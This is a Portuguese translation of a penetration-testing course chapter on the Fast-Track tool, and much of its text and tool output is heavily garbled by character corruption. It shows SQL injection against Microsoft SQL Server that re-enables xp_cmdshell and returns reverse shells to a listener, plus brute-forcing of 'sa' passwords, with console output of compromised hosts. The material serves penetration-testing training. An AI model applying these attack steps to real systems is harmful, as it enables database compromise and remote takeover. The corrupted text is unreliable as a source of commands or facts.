9ma vez (ue nosso Zava foi eAecutado +isto , navegando at ele, devemos ter uma s ell::

Fast-Trac5
"ast&?rac$ uma p5ton de pro4eto com base em c/digo aberto, destinado a a4udar os testadores de penetrao em um esforo para identificar, eAplorar e penetrar ainda mais uma rede. "ast&?rac$ foi originalmente concebido (uando 3avid Uenned< +relT$, foi em um teste de penetrao e descobriu ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

(ue avia uma falta geral de ferramentas de automao ou em certos ata(ues (ue normalmente eram eAtremamente avanados e demorado. Em um esforo para reproduzir alguns de seus ata(ues avanados e propag&lo para baiAo a sua e(uipe, ele acabou escrevendo "ast&?rac$ para o p'blico. "ast&?rac$ braos do testador penetrao com ata(ues avanados (ue na maioria dos casos nunca foram realizadas antes. %ente&se relaAe, manivela abrir uma lata de Zolt *ola e desfrutar do passeio. "ast&?rac$ utiliza grande parte do !etasploit "rame#or$, para completar ata(ues bem&sucedidos. "ast&?rac$ tem uma grande variedade de ata(ues eAclusivos (ue l e permitem utilizar o !etasploit "rame#or$ ao seu potencial mAimo. 0/s pensamos (ue mostrando os ata(ues diferentes e como "ast&?rac$ integra&se com o !etasploit "rame#or$ foi uma eAcelente adio e complemento ao curso. 8amos andar por "ast&?rac$.

Fast Trac5 Mo#es


"ast&?rac$ pode ser usado em trs modos diferentesL lin a de comando, de modo interativo, e uma interface #eb. 8e4amos cada um deles. O modo de lin a de comando pode ser iniciado por eAecuo K. D "ast&trac$&cK do diret/rio de instalao (ue, nas costas J faiAa, est localizado em KD pentest D eAploits D fasttrac$ DK.
oot;bt4</pentest/e"ploits/fastt ackP 6/fast-t ack6p7 -c ---------------------------------------------------------------Last3Tra 1 -=5@ 3 #.ere it's OX to finis. in un$er A minutes555 Automate$ "enetration Testin* #ritten +y Ea-i$ Xenne$y (ReL1X) Se ureState .tt0:,,%%%5se urestate5 om $1enne$ySse urestate5 om #i1i an$ Bu* Tra 1: .tt0:,,%%%5t.e0entest5 om "lease rea$ t.e R'AEM' an$ L;D'<S' +efore usin* t.is tool for a e0ta+le use an$ mo$ifi ations5 3333333333333333333333333333333333333333333333333333333333333333 Mo$es: ;ntera ti-e Menu Eri-en Mo$e: 3i Domman$ Line Mo$e: 3 #e+ G&; Mo$e 3* 'xam0les: 5,fast3tra 150y 3i 5,fast3tra 150y 3 5,fast3tra 150y 3* 5,fast3tra 150y 3* &sa*e: 5,fast3tra 150y 888888888888888888888888888888888888888888888888888888888888888888888888

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Last3Tra 1 Domman$ Line 3 #.ere it's OX to finis. in un$er A minutes555 888888888888888888888888888888888888888888888888888888888888888888888888 8888 MAX' S&R' MO& ;<STALL ALL TH' E'"'<E'<D;'S L;RST (setu050y) 8888

Jisit .tt0:,,tra 5t.e0entest5 om for tutorials or to file a +u*5 15 &0$ate Menu !5 Auto0%n Automate$ A5 MS3S^L ;nGe tor =5 MS3S^L Bruter (5 Binary to Hex "ayloa$ Generator )5 Mass Dlient3Si$e Atta 1 H5 'x0loits 65 S^L"%na*e 45 "ayloa$ Generator 1@5 D.an*elo* 115 Dre$its 1!5 A+out &sa*e: fast3tra 150y 3

O modo interativo pode ser lanado pela passagem do K&iK a "ast ?rac$.
rootS+t=:,0entest,ex0loits,fasttra 1T 5,fast3tra 150y 3i 88888888888888888888888888888888888888888888888 8888888 "erformin* $e0en$en y .e 1s555 8888888 88888888888888888888888888888888888888888888888 888 888 888 888 888 888 LreeTES an$ "MMMS^L are installe$5 (D.e 1) 888 "'x0e t is installe$5 (D.e 1) 888 DlientLorm is installe$5 (D.e 1) 888 "sy o is installe$5 (D.e 1) 888 Beautiful Sou0 is installe$5 (D.e 1) 888 "yMills is installe$5 (D.e 1) 888

Also ensure "roLT"B #in'K'B an$ S^LiteA is installe$ from t.e &0$ates,;nstallation menu5 Mour system .as all requirements nee$e$ to run Last3Tra 1/ Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 !5 A5 =5 Last3Tra 1 &0$ates Auto0%n Automation Mi rosoft S^L Tools Mass Dlient3Si$e Atta 1

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

(5 )5 H5 65 45 1@5 115

'x0loits Binary to Hex "ayloa$ Don-erter "ayloa$ Generator Last3Tra 1 Tutorials Last3Tra 1 D.an*elo* Last3Tra 1 Dre$its 'xit

'nter t.e num+er:

2or 'ltimo, Beb Oui !ode lanado por eAecuo K. D "ast&g&trac$.p<. 2or padro, o servidor #eb vai comear a ouvir na porta -----, mas voc pode mud&lo por meio de um n'mero de porta diferente na lin a de comando.
rootS+t=:,0entest,ex0loits,fasttra 1T 5,fast3tra 150y 3* A1AAH 3333333333333333333333333333333333333333333333333333333333333333 Last3Tra 1 -=5@ 3 #.ere it's OX to finis. in un$er A minutes555 Automate$ "enetration Testin* #ritten +y Ea-i$ Xenne$y (ReL1X) Se ureState .tt0:,,%%%5se urestate5 om $1enne$ySse urestate5 om #i1i an$ Bu* Tra 1: .tt0:,,%%%5t.e0entest5 om "lease rea$ t.e R'AEM' an$ L;D'<S' +efore usin* t.is tool for a e0ta+le use an$ mo$ifi ations5 3333333333333333333333333333333333333333333333333333333333333333 Mo$es: ;ntera ti-e Menu Eri-en Mo$e: 3i Domman$ Line Mo$e: 3 #e+ G&; Mo$e 3* 'xam0les: 5,fast3tra 150y 3i 5,fast3tra 150y 3 5,fast3tra 150y 3* 5,fast3tra 150y 3* &sa*e: 5,fast3tra 150y 88888888888888888888888888888888888888888888888 8888888 "erformin* $e0en$en y .e 1s555 8888888 88888888888888888888888888888888888888888888888 888 888 888 888 LreeTES an$ "MMMS^L are installe$5 (D.e 1) 888 "'x0e t is installe$5 (D.e 1) 888 DlientLorm is installe$5 (D.e 1) 888 "sy o is installe$5 (D.e 1) 888

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

888 Beautiful Sou0 is installe$5 (D.e 1) 888 888 "yMills is installe$5 (D.e 1) 888 Also ensure "roLT"B #in'K'B an$ S^LiteA is installe$ from t.e &0$ates,;nstallation menu5 Mour system .as all requirements nee$e$ to run Last3Tra 1/ 8888888888888888888888888888888888888888 Last3Tra 1 #e+ G&; Lront3'n$ #ritten +y: Ea-i$ Xenne$y (ReL1X) 8888888888888888888888888888888888888888 Startin* HTT" Ser-er on 1!H5@5@51 0ort A1AAH 888 O0en a +ro%ser an$ *o to .tt0:,,1!H5@5@51:A1AAH 888 Ty0e 3 to exit66

0/s estaremos focalizando principalmente a funcionalidade de modo interativo. O resto dos modos so fceis de entender (uando voc entender cada uma das ferramentas no modo interativo. A partir do menu do modo de "ast&?rac$ Enteractive, um monte de op6es a(ui para a4ud&lo a um teste de penetrao. 2rimeiras coisas primeiramente, "ast&?rac$ permite&l e manter&se ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

atualizado com as mais recentes e mel ores ferramentas. "ast&?rac$ ir atualizar automaticamente "ast&?rac$, !etasploit, Aircrac$&0O, BIAf, 0i$to, !il#.rm EAploits, Uismet&0e#core e %HG!ap. 2ara atualizar todas estas ferramentas, basta navegar at o menu e escol a as atualiza6es (ue a(ueles (ue voc dese4a atualizar ou atualizar tudo.
rootS+t=:,0entest,ex0loits,fasttra 1T 5,fast3tra 150y 3i 88888888888888888888888888888888888888888888888 8888888 "erformin* $e0en$en y .e 1s555 8888888 88888888888888888888888888888888888888888888888 888 888 888 888 888 888 LreeTES an$ "MMMS^L are installe$5 (D.e 1) 888 "'x0e t is installe$5 (D.e 1) 888 DlientLorm is installe$5 (D.e 1) 888 "sy o is installe$5 (D.e 1) 888 Beautiful Sou0 is installe$5 (D.e 1) 888 "yMills is installe$5 (D.e 1) 888

Also ensure "roLT"B #in'K'B an$ S^LiteA is installe$ from t.e &0$ates,;nstallation menu5 Mour system .as all requirements nee$e$ to run Last3Tra 1/ Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 !5 A5 =5 (5 )5 H5 65 45 1@5 115 Last3Tra 1 &0$ates Auto0%n Automation Mi rosoft S^L Tools Mass Dlient3Si$e Atta 1 'x0loits Binary to Hex "ayloa$ Don-erter "ayloa$ Generator Last3Tra 1 Tutorials Last3Tra 1 D.an*elo* Last3Tra 1 Dre$its 'xit

'nter t.e num+er: 1 Last3Tra 1 &0$ates 'nter a num+er to u0$ate 15 !5 A5 =5 (5 )5 H5 65 &0$ate Last3Tra 1 Metas0loit A &0$ate Air ra 13<G &0$ate <i1to "lu*in &0$ate #AAL &0$ate S^LMa0 &0$ate ;nstallation Menu &0$ate Mil%@rm 'x0loits

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

45 &0$ate Xismet3<e% ore 1@5 &0$ate '-eryt.in* 115 Return to Main Menu 'nter num+er: 1@ <ote t.is EO'S <OT install 0rereqsB 0lease *o to t.e installation menu for t.at5 &0$atin* Last3Tra 1B Metas0loitB Air ra 13<GB <i1toB #AALB Mil%@rmB Xismet3 <e%Dore an$ S^L Ma0 8888 &0$ate om0lete 88888

Returnin* to main menu5555

*ertifi(ue&se de atualizar fre(Sentemente "ast&?rac$, como mel orias cont5nuas esto sendo feitas. 8amos mergul ar&se em vetores de ata(ue diferente (ue "ast&?rac$ tem dispon5vel em seu arsenal.
rootS+t=:,0entest,ex0loits,fasttra 1T 5,fast3tra 150y 3 1 !

3333333333333333333333333333333333333333333333333333333333333333 Last3Tra 1 -=5@ 3 #.ere it's OX to finis. in un$er A minutes555 Automate$ "enetration Testin* #ritten +y Ea-i$ Xenne$y (ReL1X) Se ureState .tt0:,,%%%5se urestate5 om $1enne$ySse urestate5 om #i1i an$ Bu* Tra 1: .tt0:,,%%%5t.e0entest5 om "lease rea$ t.e R'AEM' an$ L;D'<S' +efore usin* t.is tool for a e0ta+le use an$ mo$ifi ations5 3333333333333333333333333333333333333333333333333333333333333333 Mo$es: ;ntera ti-e Menu Eri-en Mo$e: 3i Domman$ Line Mo$e: 3 #e+ G&; Mo$e 3* 'xam0les: 5,fast3tra 150y 3i 5,fast3tra 150y 3 5,fast3tra 150y 3* 5,fast3tra 150y 3* &sa*e: 5,fast3tra 150y 888888888888888888888888888888888888888888888888888888888888888888888888 Last3Tra 1 Domman$ Line 3 #.ere it's OX to finis. in un$er A minutes555 888888888888888888888888888888888888888888888888888888888888888888888888

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

8888 MAX' S&R' MO& ;<STALL ALL TH' E'"'<E'<D;'S L;RST

(setu050y) 8888

Jisit .tt0:,,tra 5t.e0entest5 om for tutorials or to file a +u*5 15 &0$ate Menu !5 Auto0%n Automate$ A5 MS3S^L ;nGe tor =5 MS3S^L Bruter (5 Binary to Hex "ayloa$ Generator )5 Mass Dlient3Si$e Atta 1 H5 'x0loits 65 S^L"%na*e 45 "ayloa$ Generator 1@5 D.an*elo* 115 Dre$its 1!5 A+out &sa*e: fast3tra 150y 3

Observe (ue este 0fO instalar pr&re(uisitos, por favor, v at o menu de instalao para isso. Atualizando "ast ?rac$, !etasploit, Aircrac$&ng, 0i$to, BIA", Uismet&0e#*ore e !apa %HG.

O in4ector !%%HG utiliza algumas tcnicas avanadas, a fim de conseguir o acesso irrestrito total ao sistema sub4acente. Esta seo re(uer (ue algum 4 sabe onde %HG En4ection em um determinado site. 9ma vez (ue este especificado, "ast&?rac$ pode fazer o trabal o para voc e para eAplorar o sistema. 0ote (ue isto s/ ir funcionar no !icrosoft %HG bac$&end de uma aplicao #eb.
Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 Last3Tra 1 &0$ates !5 Auto0%n Automation A5 Mi rosoft S^L Tools =5 Mass Dlient3Si$e Atta 1 (5 'x0loits )5 Binary to Hex "ayloa$ Don-erter H5 "ayloa$ Generator 65 Last3Tra 1 Tutorials 45 Last3Tra 1 D.an*elo* 1@5 Last3Tra 1 Dre$its 115 'xit 'nter t.e num+er: A

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Mi rosoft S^L Atta 1 Tools "i 1 a list of t.e tools from +elo%: 15 MSS^L ;nGe tor !5 MSS^L Bruter A5 S^L"%na*e 'nter your .oi e : 1 'nter %.i . S^L ;nGe tor you %ant to use 15 S^L ;nGe tor 3 ^uery Strin* "arameter Atta 1 !5 S^L ;nGe tor 3 "OST "arameter Atta 1 A5 S^L ;nGe tor 3 G'T LT" "ayloa$ Atta 1 =5 S^L ;nGe tor 3 G'T Manual Setu0 Binary "ayloa$ Atta 1 'nter your .oi e:

Observe os diferentes sub&menus (ue esto dispon5veis. 0/s vamos camin ar atravs de cada um e eAplicar sua finalidade. O K%HG En4ector & Huer< %tring 2arFmetros Attac$K especificamente alvos vulnerveis parFmetros de se(Sncia de consulta dentro de um #ebsite. strings de consulta so representadas como segueLR (uer<stringT V valorT g (uer<string= V valor= e in4eo muitas vezes ocorre onde valorT e valor= esto localizados. 8amos navegar em um site vulnervelL 0ote os parFmetros de se(Sncia de consulta em cimaL logon e sen a. 8amos 4ogar uma 'nica citao no 2arFmetro KloginK string de consulta.

Agora (ue sabemos (ue o campo login suscet5vel a %HG En4ection, n/s precisamos dizer "ast& ?rac$ onde ir realmente para lanar o ata(ue. "azemos isso especificando KE0ZE*?)E@E no lugar do parFmetro in4etvel na cadeia de consulta. Esso permitir "ast&?rac$ saber o (ue (ueremos para o ata(ue. Ol e para a sa5da e abaiAo o resultado final.
'nter %.i . S^L ;nGe tor you %ant to use 15 !5 A5 =5 S^L S^L S^L S^L ;nGe ;nGe ;nGe ;nGe tor tor tor tor 3 3 3 3 ^uery Strin* "arameter Atta 1 "OST "arameter Atta 1 G'T LT" "ayloa$ Atta 1 G'T Manual Setu0 Binary "ayloa$ Atta 1

'nter your

.oi e: 1

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Requirements: "'x0e t aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa T.is mo$ule uses a re-erse s.ell +y usin* t.e +inary!.ex met.o$ for u0loa$in*5 ;t $oes not require LT" or any ot.er ser-i eB instea$ %e are usin* t.e $e+u* fun tion in #in$o%s to *enerate t.e exe uta+le5 Mou %ill nee$ to $esi*nate %.ere in t.e &RL t.e S^L ;nGe tion is +y usin* ';<R'DTH'R'

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

So for exam0leB %.en t.e tool as1s you for t.e S^L ;nGe ta+le &RLB ty0e: .tt0:,,%%%5t.isisafa1esite5 om,+la.5as0xFi$?';<R'DTH'R'b0ass%or$?+la.

'nter t.e &RL of t.e sus e0ti+le siteB remem+er to 0ut ';<R'DTH'R' for t.e inGe ti+le 0arameter 'xam0le:.tt0:,,%%%5t.isisafa1esite5 om,+la.5as0xFi$?';<R'DTH'R'b0ass%or$?+la. 'nter .ere: .tt0:,,1@5!115((51!6,Eefault5as0xFlo*in?';<R'DTH'R'b0ass%or$?+la. Sen$in* initial request to ena+le x0> m$s.ell if $isa+le$5555 Sen$in* first 0ortion of 0ayloa$ (1,=)5555 Sen$in* se on$ 0ortion of 0ayloa$ (!,=)5555 Sen$in* t.ir$ 0ortion of 0ayloa$ (A,=)555 Sen$in* t.e last 0ortion of t.e 0ayloa$ (=,=)555 Runnin* leanu0 +efore exe utin* t.e 0ayloa$555 Runnin* t.e 0ayloa$ on t.e ser-er555Sen$in* initial request to ena+le x0> m$s.ell if $isa+le$5555 Sen$in* first 0ortion of 0ayloa$ (1,=)5555 Sen$in* se on$ 0ortion of 0ayloa$ (!,=)5555 Sen$in* t.ir$ 0ortion of 0ayloa$ (A,=)555 Sen$in* t.e last 0ortion of t.e 0ayloa$ (=,=)555 Runnin* leanu0 +efore exe utin* t.e 0ayloa$555 Runnin* t.e 0ayloa$ on t.e ser-er555 listenin* on 7any9 ==== 555 onne t to 71@5!115((51A@9 from (&<X<O#<) 71@5!115((51!69 1@=1 Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

"ast&?rac$ automaticamente re&permite (ue o KAp[cmds ellK procedimento armazenado, se ele est desativado e entrega de uma carga reversa para o sistema, em 'ltima instFncia, dando&nos pleno acesso atravs de todos os %HG En4ection: Este foi um grande eAemplo de como atacar os parFmetros de se(Sncia de consulta, mas (ue sobre as formasR parFmetros 2ost tambm pode ser tratada atravs de "ast&?rac$ e muita facilidade para isso. 0o menu do "ast&?rac$ 1!%%HG En4ector1, selecione 1%HG En4ector & 2O%? parFmetro Attac$ K.
'nter %.i . S^L ;nGe tor you %ant to use 15 !5 A5 =5 S^L S^L S^L S^L ;nGe ;nGe ;nGe ;nGe tor tor tor tor 3 3 3 3 ^uery Strin* "arameter Atta 1 "OST "arameter Atta 1 G'T LT" "ayloa$ Atta 1 G'T Manual Setu0 Binary "ayloa$ Atta 1

'nter your

.oi e: !

T.is 0ortion allo%s you to atta 1 all forms on a s0e ifi %e+site %it.out .a-in* to s0e ify ea . 0arameter5 Rust ty0e t.e &RL inB an$ Last3Tra 1 %ill auto S^L inGe t to ea . 0arameter loo1in* for +ot. error +ase$ inGe tion as %ell as +lin$ +ase$ S^L inGe tion5

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Sim0ly ty0e t.e %e+site you %ant to atta 1B an$ let it roll5 'xam0le: .tt0:,,%%%5sqlinGe ta+lesite5 om,in$ex5as0x 'nter t.e &RL to atta 1: .tt0:,,1@5!115((51!6,Eefault5as0x Lorms $ete te$555atta 1in* t.e 0arameters in .o0es of ex0loitin* S^L ;nGe tion55 Sen$in* 0ayloa$ to 0arameter: txtLo*in Sen$in* 0ayloa$ to 0arameter: txt"ass%or$ 739 T.e "AMLOAE is +ein* $eli-ere$5 T.is an ta1e u0 to t%o minutes5 739

listenin* on 7any9 ==== 555 onne t to 71@5!115((51A@9 from (&<X<O#<) 71@5!115((51!69 1@=1 Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

0o citar Office !aA, mas (ue era fcil: "ast&?rac$ detecta automaticamente as formas e ata(ues ao sistema de %HG En4ection, em 'ltima anlise, o (ue l e d acesso 7 caiAa. %e por algum motivo o ata(ue parFmetro de consulta se(Sncia no foi bem sucedida, voc pode usar o 1%HG En4ector & OE? "?2 2a<load Attac$ K. Esto re(uer (ue voc instale o 2ro"?23, e raramente usada. Este m/dulo ir configurar uma carga atravs de "?2 ec o ar(uivos e, finalmente, entregar a carga atravs de "?2 e %HG En4ection. O K%HG En4ector & OE? !anual de Enstalao Pinar< 2a<load Attac$K pode ser usado se voc est atacando a partir de uma m(uina, mas ter um ouvinte em outra m(uina. Esto fre(uentemente usado se voc estiver 0A? e voc tem uma caiAa de ouvinte criado na internet e no no sistema (ue voc est atacando.
'nter %.i . S^L ;nGe tor you %ant to use 15 !5 A5 =5 S^L S^L S^L S^L ;nGe ;nGe ;nGe ;nGe tor tor tor tor 3 3 3 3 ^uery Strin* "arameter Atta 1 "OST "arameter Atta 1 G'T LT" "ayloa$ Atta 1 G'T Manual Setu0 Binary "ayloa$ Atta 1

'nter your

.oi e: = ustomiIe your atta 1 for %.ate-er reason5

T.e manual 0ortion allo%s you to

Mou %ill nee$ to $esi*nate %.ere in t.e &RL t.e S^L ;nGe tion is +y usin* ';<R'DTH'R' So for exam0leB %.en t.e tool as1s you for t.e S^L ;nGe ta+le &RLB ty0e: .tt0:,,%%%5t.isisafa1esite5 om,+la.5as0xFi$?';<R'DTH'R'b0ass%or$?+la.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'nter t.e &RL of t.e sus e0ti+le siteB remem+er to 0ut ';<R'DTH'R' for t.e inGe ti+le 0arameter 'xam0le: .tt0:,,%%%5t.isisafa1esite5 om,+la.5as0xFi$?';<R'DTH'R'b0ass%or$?+la. 'nter .ere: .tt0:,,1@5!115((51!6,Eefault5as0xFlo*in?';<R'DTH'R'b0ass%or$?+la. 'nter t.e ;" A$$ress of ser-er %it. <etDat Listenin*: 1@5!115((51A@ 'nter "ort num+er %it. <etDat listenin*: 4@4@ Sen$in* initial request to ena+le x0> m$s.ell if $isa+le$5555 Sen$in* first 0ortion of 0ayloa$5555 Sen$in* se on$ 0ortion of 0ayloa$5555 Sen$in* next 0ortion of 0ayloa$555 Sen$in* t.e last 0ortion of t.e 0ayloa$555 Runnin* leanu0555 Runnin* t.e 0ayloa$ on t.e ser-er555 listenin* on 7any9 4@4@ 555 1@5!115((51!6: in-erse .ost loo1u0 faile$: &n1no%n ser-er error : Donne tion time$ out onne t to 71@5!115((51A@9 from (&<X<O#<) 71@5!115((51!69 1@=( Mi rosoft #in$o%s 7Jersion (5!5AH4@9 (D) Do0yri*.t 146(3!@@A Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

MSS;L 9ruter
2rovavelmente um dos meus aspectos favoritos do "ast&?rac$ a Prueter !%%HG. Q provavelmente um dos mais robustos Pruters !%%HG e 'nico no mercado o4e. Ao realizar testes de penetrao interna, muitas vezes voc ac ar (ue !%%HG 1sa1 sen as so fre(uentemente ignorados. 2rimeiro, uma breve ist/ria por trs destes 1sa1 contas esto em ordem. A %A 1 a conta de administrador do sistema para !%%HG e (uando usar1 !iAed !ode 1ou1 %HG Aut entication 1, o %HG sa1 conta 1 criado automaticamente. Os administradores tm de digitar uma sen a ao criar essas contas e muitas vezes deiAam&las como sen as fracas. "ast&?rac$ ata(ues esta fra(ueza e tentar identificar os servidores %HG com fraco 1sa1 contas. 9ma vez (ue as sen as ten am sido adivin ado, "ast&?rac$ vai entregar o (ue voc (uer de carga atravs de um eA avanado para converso binrio utilizando 4anelas de depurao. 8amos eAaminar um espao de endereo classe * para os servidores %HG. 9ma coisa a notar (uando passar por essas etapas (ue voc ser perguntado se dese4a eAecutar a descoberta %HG avanado. 2ara eAplicar isso, primeiro voc precisa entender instala6es padro do %HG %erver. Ao instalar o %HG %erver, por padro, ele ir instalar o %HG na porta ?*2 T-II. 0o %HG %erver =..N X, voc pode especificar a alocao de porta dinFmica (ue vai tornar o n'mero um pouco aleat/rio e dif5cil de identificar. "elizmente para n/s, %HG %erver tambm instala a porta T-I- 932 (ue nos diz (ue a porta ?*2 do servidor %HG est em eAecuo. Ao realizar a identificao avanada, "ast&?rac$ ir utilizar o m/dulo !etasploit auAiliares de consulta porta T-II para os portos, sem "ast&?rac$ s/ vai ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

acabar fazendo a varredura para a porta T-II. 8amos ol ar o Prueter %HG. 0ote&se (ue, especificando a descoberta avanada, leva muito mais tempo do (ue se voc no especificar.
Last3Tra 1 Main Menu: Last3Tra 1 3 #.ere it's OX to finis. in un$er A minutes555 Jersion: -=5@ #ritten +y: Ea-i$ Xenne$y (ReL1X) .tt0:,,%%%5se urestate5 om .tt0:,,%%%5t.e0entest5 om 15 Last3Tra 1 &0$ates !5 Auto0%n Automation A5 Mi rosoft S^L Tools =5 Mass Dlient3Si$e Atta 1 (5 'x0loits )5 Binary to Hex "ayloa$ Don-erter H5 "ayloa$ Generator 65 Last3Tra 1 Tutorials 45 Last3Tra 1 D.an*elo* 1@5 Last3Tra 1 Dre$its 115 'xit 'nter t.e num+er: A Mi rosoft S^L Atta 1 Tools "i 1 a list of t.e tools from +elo%: 15 MSS^L ;nGe tor !5 MSS^L Bruter A5 S^L"%na*e 'nter your .oi e : ! 'nter t.e ;" A$$ress an$ "ort <um+er to Atta 15 O0tions: (a)ttem0t S^L "in* an$ Auto ^ui 1 Brute Lor e (m)ass s an an$ $i tionary +rute (s)in*le Tar*et (Atta 1 a Sin*le Tar*et %it. +i* $i tionary) (f)in$ S^L "orts (S^L "in*) (i) %ant a omman$ 0rom0t an$ 1no% %.i . system is -ulnera+le (-)ulnera+le systemB ; %ant to a$$ a lo al a$min on t.e +ox555 (e)na+le x0> m$s.ell if its $isa+le$ (sql!1 an$ sql!1() 'nter O0tion:

"ast&?rac$ tem uma grande lista de op6es por isso vamos dar uma ol ada em cada uma delasL M Opo KaK, Ktentativa %HG 2ing e Auto @pido Prute "orceK, vai tentar digitalizar um intervalo de endereos E2. Esto usa a mesma sintaAe (ue o 0map e usa um built&in pr&definidos lista do dicionrio de sen as de cerca de cin(uenta. m M Opo K,K massa bruta e dicionrio de digitalizao 1, far a varredura de uma faiAa de endereos E2 e permite (ue voc especifi(ue uma lista de palavras de seu pr/prio pa5s. "ast&?rac$ vem com uma lista de palavras decente localizado em KD bin D dictK embora. s M Opo K,K 'nico alvo +atacar um alvo 'nico com grande dicionrio 1, ir permitir (ue voc a fora bruta um endereo E2 espec5fico com uma lista de palavras grandes. M Opo KfK, Kencontrar %HG 2ortas +%HG 2ing,, vai ol ar apenas para os servidores %HG, e no ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

atac&los. M Opo KiK, Keu (uero um prompt de comando e saber (ual o sistema vulnervel, ir gerar um prompt de comando para voc, se voc 4 sabe o 1sa1 sen a. sistema vulnervel v M Opo K,K Eu (uero adicionar um administrador local no ...K, caiAa ir adicionar um novo usurio administrativo em uma caiAa (ue voc sabe (ue vulnervel. M Opo KeK, KAp[cmds ell se permitir a sua mobilidade condicionada +%HG=U e s(l=$N,, um procedimento armazenado "ast&?rac$ utiliza para eAecutar comandos do sistema sub4acente. 2or padro, ele est desabilitado no %HG %erver =..N e acima, mas "ast&?rac$ pode automaticamente reativ&lo se ele foi desativado. Apenas uma coisa boa para falar, (uando ataca o sistema remoto com (ual(uer das op6es, "ast&?rac$ automaticamente tentativa de reativar Ap[cmds ell apenas no caso. 8amos percorrer o Prute "orce Huic$.
'nter t.e ;" A$$ress an$ "ort <um+er to Atta 15 O0tions: (a)ttem0t S^L "in* an$ Auto ^ui 1 Brute Lor e (m)ass s an an$ $i tionary +rute (s)in*le Tar*et (Atta 1 a Sin*le Tar*et %it. +i* $i tionary) (f)in$ S^L "orts (S^L "in*) (i) %ant a omman$ 0rom0t an$ 1no% %.i . system is -ulnera+le (-)ulnera+le systemB ; %ant to a$$ a lo al a$min on t.e +ox555 (e)na+le x0> m$s.ell if its $isa+le$ (sql!1 an$ sql!1() 'nter O0tion: a 'nter username for S^L $ata+ase (exam0le:sa): sa Donfi*uration file not $ete te$B runnin* $efault 0at.5 Re ommen$ runnin* setu050y install to onfi*ure Last3Tra 15 Settin* $efault $ire tory555 'nter t.e ;" Ran*e to s an for S^L S an (exam0le 14!51)651513!((): 1@5!115((51,!= Eo you %ant to 0erform a$-an e$ S^L ser-er i$entifi ation on non3stan$ar$ S^L 0ortsF T.is %ill use &E" foot0rintin* in or$er to $etermine %.ere t.e S^L ser-ers are at5 T.is oul$ ta1e quite a lon* time5 Eo you %ant to 0erform a$-an e$ i$entifi ationB yes or no: yes 739 Laun .in* S^L "in*B t.is may ta1e a %.ile to foot0rint5555 739 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 Brute for in* username: sa Be 0atient t.is oul$ ta1e a%.ile555 Brute for in* 0ass%or$ of 0ass%or$! on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of 0ass%or$ on ;" 1@5!115((51!6:1=AA S^L Ser-er Dom0romise$: "sa" %it. 0ass%or$ of: "0ass%or$" on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of sqlser-er on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of sql on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of 0ass%or$1 on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of 0ass%or$1!A on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of om0lex0ass%or$ on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of $ata+ase on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of ser-er on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of .an*eme on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of .an*e on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of sqlser-er!@@@ on ;" 1@5!115((51!6:1=AA

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Brute for in* 0ass%or$ of sqlser-er!@@( on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of Sqlser-er on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of SqlSer-er on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of "ass%or$1 on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of x0 on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of nt on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of 46 on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of 4( on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of !@@A on ;" 1@5!115((51!6:1=AA Brute for in* 0ass%or$ of !@@6 on ;" 1@5!115((51!6:1=AA 8888888888888888888888888888888888888888888 T.e follo%in* S^L Ser-ers %ere om0romise$: 8888888888888888888888888888888888888888888 15 1@5!115((51!6:1=AA 888 &,<: sa ",#: 0ass%or$ 888 8888888888888888888888888888888888888888888 To intera t %it. systemB enter t.e S^L Ser-er num+er5 'xam0le: 15 14!51)6515A! you %oul$ ty0e 1 'nter t.e num+er:

